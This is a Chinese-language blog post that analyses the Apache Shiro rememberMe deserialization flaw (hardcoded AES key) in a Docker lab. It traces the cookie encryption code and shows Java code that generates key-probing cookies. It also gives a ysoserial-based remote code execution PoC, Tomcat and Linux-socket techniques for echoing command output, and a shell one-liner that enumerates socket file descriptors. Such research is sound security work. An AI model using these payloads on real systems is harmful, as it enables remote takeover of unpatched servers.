Learning Man's Blog

Shiro-055 分析&回显

字数统计: 2.6k阅读时长: 11 min
2020/08/23 Share

I. 准备

使用 docker hub 已有的漏洞环境,IDEA 配置 Remote Debug

> docker pull medicean/vulapps:s_shiro_1
> docker run -d -p 8080:8080 -p 8090:8090 --env JAVA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8090,server=y,suspend=n" medicean/vulapps:s_shiro_1

拉取源码

> git clone https://github.com/apache/shiro.git
> git checkout shiro-root-1.2.4

II. 漏洞原理

原因是因为在 org.apache.shiro.mgt.AbstractRememberMeManager 中有定义以下内容,导致攻击者利用默认密码实现反序列化RCE

-w588

  1. 序列化对象需要继承 PrincipalCollection (实际非必须,下文有解释)

  2. 设置加密方式为 AES/CBC/PKCS5Padding,具体可在org.apache.shiro.crypto.DefaultBlockCipherService#DefaultBlockCipherService中查看

    -w696

  3. 硬编码默认加密密钥 DEFAULT_CIPHER_KEY_BYTES

    -w888

加密cookie

当用户登陆成功并且选择rememberme的时候,会进入org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 保存新的验证信息

-w843

接着在rememberIdentity函数中,先通过getIdentityToRemember获取到用户标志信息

Returns all principals associated with the corresponding Subject. Each principal is an identifying piece of information useful to the application such as a username, or user id, a given name, etc - anything useful to the application to identify the current Subject.

-w844

再进入同名方法rememberIdentity中,这里首先通过convertPrincipalsToBytes将用户信息转换成 byte 数组,后进行保存

-w744

我们来看convertPrincipalsToBytes,先进行序列化后再进行加密,我们重点关注加密算法

-w680

在 org.apache.shiro.mgt.AbstractRememberMeManager#encrypt 中调用 AES 类进行加密

-w755

-w423

实际是调用org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[])encrypt(byte[], byte[], byte[], boolean),可以看到在最后是把 iv 放在 crypt 加密后的数据内容前,再整体返回

-w914

最后进入org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity,对信息 base64编码后存放入 cookie

-w917

解密cookie

当用户携带 rememberMe cookie 进行访问时,会进入org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals

-w698

调用子类CookieRememberMeManager#getRememberedSerializedIdentity提取 cookie,首先判断非 deleteMe 且进行 base64 尾部检测填充后,返回有效 cookie 回到 AbstractRememberMeManager

-w902

之后在org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals中,尝试解密和反序列化

-w817

解密位于org.apache.shiro.mgt.AbstractRememberMeManager#decrypt

-w772

最后由org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])和decrypt(byte[], byte[], byte[])实现解密,整个流程都很常规,主要关注是从 cookie 头16位字节数据为 iv

-w914

III. 漏洞检测

1. 无效rememberMe

只能快速判断是否使用 shiro

原理

当我们输入一个无效的 rememberMe cookie 时会因无法解密或反序列化触发异常进入org.apache.shiro.mgt.AbstractRememberMeManager#onRememberedPrincipalFailure

-w1177

-w923

之后进入org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)

-w687

-w641

最后调用org.apache.shiro.web.servlet.SimpleCookie#removeFrom方法添加 cookie rememberMe=deleteMe

-w910

效果

-w830

2. 反序列化

主要利用正常解密后的反序列化利用,但反序列化的前提是要使用正确的 key 实现正常解密

原理

从上面无效 rememberMe一节中我们还可以知道

  • 当 key 匹配且正常反序列化时,响应不会返回 rememberMe=delete
  • 当 key 不匹配时,响应返回 rememberMe=delete

那么只要保证序列化对象的有效性,就可以通过上面的差异来实现匹配 Key

因为序列化对象需要继承PrincipalCollection,所以我们主要关注SimplePrincipalMap、SimplePrincipalCollection

-w850

简单写个脚本用于生成 payload

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.Serializer;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.subject.SimplePrincipalMap;
import org.apache.shiro.util.ByteSource;

public class generate {

    public static void main(String[] args) {
        Serializer<PrincipalCollection> serializer = new DefaultSerializer<PrincipalCollection>();
        SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap();
        System.out.println(encrypt("<INPUT KEY HERE>", serializer.serialize(simplePrincipalMap)));
    }

    private static String encrypt(String key, byte[] objectBytes) {
        byte[] keyDecode = Base64.decode(key);
        AesCipherService cipherService = new AesCipherService();
        ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode);
        byte[] value = byteSource.getBytes();
        return new String(Base64.encode(value));
    }
}

效果

Key 匹配 Key 不匹配
-w828 -w829

3. HTTPLog or DNSLog

实际也是利用反序列化,只是简单的向外请求解析域名,但是很多人都喜欢用这个,所以单独列出来

XXXLog 平台如果提供有 API 就可以自动化检测,但毕竟此方法受太多客观因素影响,不建议

IV. 漏洞利用

我们刚才提到了,序列化对象需要继承PrincipalCollection,那么这是必要的么?如果能没有这层限制,是否能利用其他 gadget 进而实现 RCE

我们关注到org.apache.shiro.mgt.AbstractRememberMeManager#deserialize,这里最后调用的是org.apache.shiro.io.DefaultSerializer#deserialize进行反序列化,只是在 return 时会强制转化为PrincipalCollection类型对象

-w601

所以我们可以使用其他 gadget 执行攻击,例如 ysoserial 系列

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.Serializer;
import org.apache.shiro.util.ByteSource;
import ysoserial.payloads.CommonsCollections2;

public class poc {
    public static void main(String[] args) throws Exception {
        Serializer<Object> serializer = new DefaultSerializer<>();
        Object obj = new CommonsCollections2().getObject("<Exec Command>");
        System.out.println(encrypt("<INPUT KEY HERE>", serializer.serialize(obj)));
    }

    private static String encrypt(String key, byte[] objectBytes) {
        byte[] keyDecode = Base64.decode(key);
        AesCipherService cipherService = new AesCipherService();
        ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode);
        byte[] value = byteSource.getBytes();
        return new String(Base64.encode(value));
    }
}

gadget 异常

这里可能会有人提到,为什么很多 cc gadget 无法使用呢?简单跟一个 cc4,会发现报错提示找不到org.apache.commons.collections4.Transformer,而 shiro 1.2.4 默认使用的 commons-collections4-4.0.jar 理论上是可以的利用的,报错原因在哪里?

-w1501

我们回到反序列化最开始的地方org.apache.shiro.io.DefaultSerializer#deserialize,注意这里调用的是ClassResolvingObjectInputStream.readObject()

-w699

ClassResolvingObjectInputStream继承自ObjectInputStream但重写了 resolveClass,最大的不同在于加载方式

- ClassResolvingObjectInputStream ObjectInputStream
代码 -w724 -w691
加载 ClassUtils.forName
实际 ClassLoader.loadClass
Class.forName
代码 -w918 -w829

那么两种加载方式的区别是什么?这里可先详细阅读这篇文章:ClassUtils详解

- ClassLoader.loadClass Class.forName
1 获取指定的 classLoader 自动获取 classLoader
2 只能将类加载到 JVM 可加载到 JVM 并初始化
(ObjectInputStream中设置为 false 未初始化)

还是没搞懂问题出自哪里,另网上有提及的一处区别(注意!有问题!

是否会解析数组类型
1)Class.forName会解析数组类型,如[Ljava.lang.String;
2)ClassLoader不会解析数组类型,加载时会抛出ClassNotFoundException;

但是经测试WebAppClassLoader是有能力解析数组的

-w631

最后发现关键点在于org.apache.catalina.loader.WebappClassLoaderBase#loadClass(java.lang.String, boolean),在调用 Class.forName 时指定从父类向上搜寻,导致找不到[Lorg.apache.commons.collections4.Transformer;

参数 parent this
ClassLoader URLClassLoader WebappClassLoader
测试 -w1260 -w1260

关于WebappClassLoader与其他 ClassLoader 可详细阅读此篇文章:图解Tomcat类加载机制

  1. WebappClassLoader:各个Webapp私有的类加载器,加载路径中的class只对当前Webapp可见
  2. tomcat 为了实现隔离性,没有遵守双亲委派这个约定,每个webappClassLoader加载自己的目录下的class文件,不会传递给父类加载器

commons-collections4-4.0.jar位于 webapp 中项目 /WEB-INF/lib 下,在没有其他额外配置 CLASSPATH 的情况时,默认只有 WebappClassLoader 才能加载

所以 Tomcat 为什么搜索指定父类开始?这个设计就很迷🤔🤔🤔

V. 回显

在遇到几次目标后,会发现有的设备是不出网的,哪怕碰撞出了 key 也不清楚是否正常执行了命令,这时候回显的能力就很重要

因为对回显没有研究,看了其他师傅的文章,按照00theway师傅讲的,目前公开的大概有以下几种方式获取结果:

  1. 报错回显
  2. web中获取当前上下文对象(response、context、writer等)
  3. 可以出网情况下OOB

利用效果比较好的有以下两个,前者适用 Linux/Windows Tomcat,后者适用 Linux 各类场景,各有优势,按场景利用

  1. 基于 Tomcat Response: https://koalr.me/post/shiro-lou-dong-jian-ce/
  2. 基于 Linux Socket: https://www.00theway.org/2020/01/17/java-god-s-eye/

1. Tomcat Gadget

-w1100

原理

编译 java-object-searcher 为 jar,方便引用

$> mvn clean package -Dmaven.test.skip=true

拉取 Tomcat (非源码),创建一个 Tomcat 项目,并自行创建一个 Servlet 用于断点调试

-w1443

测试 Tomcat 8.0.39 环境下实际只有一条 gadget

TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [5] = {java.lang.Thread} 
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
        ---> handler = {org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler} 
         ---> global = {org.apache.coyote.RequestGroupInfo} 
          ---> processors = {java.util.ArrayList} 
           ---> [0] = {org.apache.coyote.RequestInfo} 
            ---> req = {org.apache.coyote.Request}

在这里又遇到了 cookie 过大的情况,解决方法请看这篇缩小ysoserial payload体积的几个方法

使用 javassist 加载目标类,导致体积过大

pool.insertClassPath(new ClassClassPath(TomcatEcho.class));
CtClass clazz = pool.get(TomcatEcho.class.getName());

-w676

转变为使用 javassist 直接创建类

-w656

我这里只是实现 Demo,没有对各个 Tomcat 版本以及 CC gadget 做兼容,这位师傅实现对利用链更广泛的兼容:Shiro RememberMe 漏洞检测的探索之路

2. Linux Socket

-w1145

原理

基于 Linux 万物皆文件的性质,对于每一个链接 socket 都有其对应的文件描述符,通过直接向文件描述符写入内容实现回显

有部分文章使用是尝试通过 IP、PORT 进行过滤获取 inode 值后,再获取 fd 写入,这个方法有一个很大的问题在于如果目标位于负载、代理之后的复杂网络,是没有办法筛选出有效的请求源,导致方法失败

所以我采用通过获取所有有效 inode 值,再获取 fd 组,统一尝试写入,突破复杂网络,实现回显😈

首先了解下 /proc/self/net/tcp

-w722

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/net/tcp_states.h
enum {
    TCP_ESTABLISHED = 1,
    TCP_SYN_SENT,
    TCP_SYN_RECV,
    TCP_FIN_WAIT1,
    TCP_FIN_WAIT2,
    TCP_TIME_WAIT,
    TCP_CLOSE,
    TCP_CLOSE_WAIT,
    TCP_LAST_ACK,
    TCP_LISTEN,
    TCP_CLOSING,    /* Now a valid state */
    TCP_NEW_SYN_RECV,

    TCP_MAX_STATES    /* Leave at the end! */
};

关注到 connection state 标志,通过判断是否为1就可以筛选正在传输的 socket 的 inode 值

之后通过筛选 /proc/self/fd 中 socket[] 对应文件描述符值,遍历尝试写入即可

下面是我用来筛选的语句 Orz

$ > inode=`cat /proc/net/tcp|tail -n +2|awk '{if($4=="01")print}'|awk '{print $10}'`;for i in $inode; do fd=`ls -l /proc/$PPID/fd|grep socket|grep $i|awk '{print $9}'`; if [ ${#fd} -gt 0 ]; then echo -n $fd-;fi;done;
$ > 97-57-

原本是想通过全部由 JAVA 原生代码实现,结果发现生成的 Payload 长度超出了 Cookie or Header Length 限制,除非另利用 gadget 去修改,否则会触发 ERROR 400,后面发现用 shell 直接过滤 fd 更方便快捷

参考资料

  1. 缩小ysoserial payload体积的几个方法
  2. 通杀漏洞利用回显方法-linux平台
  3. 半自动化挖掘request实现多种中间件回显
CATALOG
  1. I. 准备
  2. II. 漏洞原理
    1. 加密cookie
    2. 解密cookie
  3. III. 漏洞检测
    1. 1. 无效rememberMe
      1. 原理
      2. 效果
    2. 2. 反序列化
      1. 原理
      2. 效果
    3. 3. HTTPLog or DNSLog
  4. IV. 漏洞利用
    1. gadget 异常
  5. V. 回显
    1. 1. Tomcat Gadget
      1. 原理
    2. 2. Linux Socket
      1. 原理
  6. 参考资料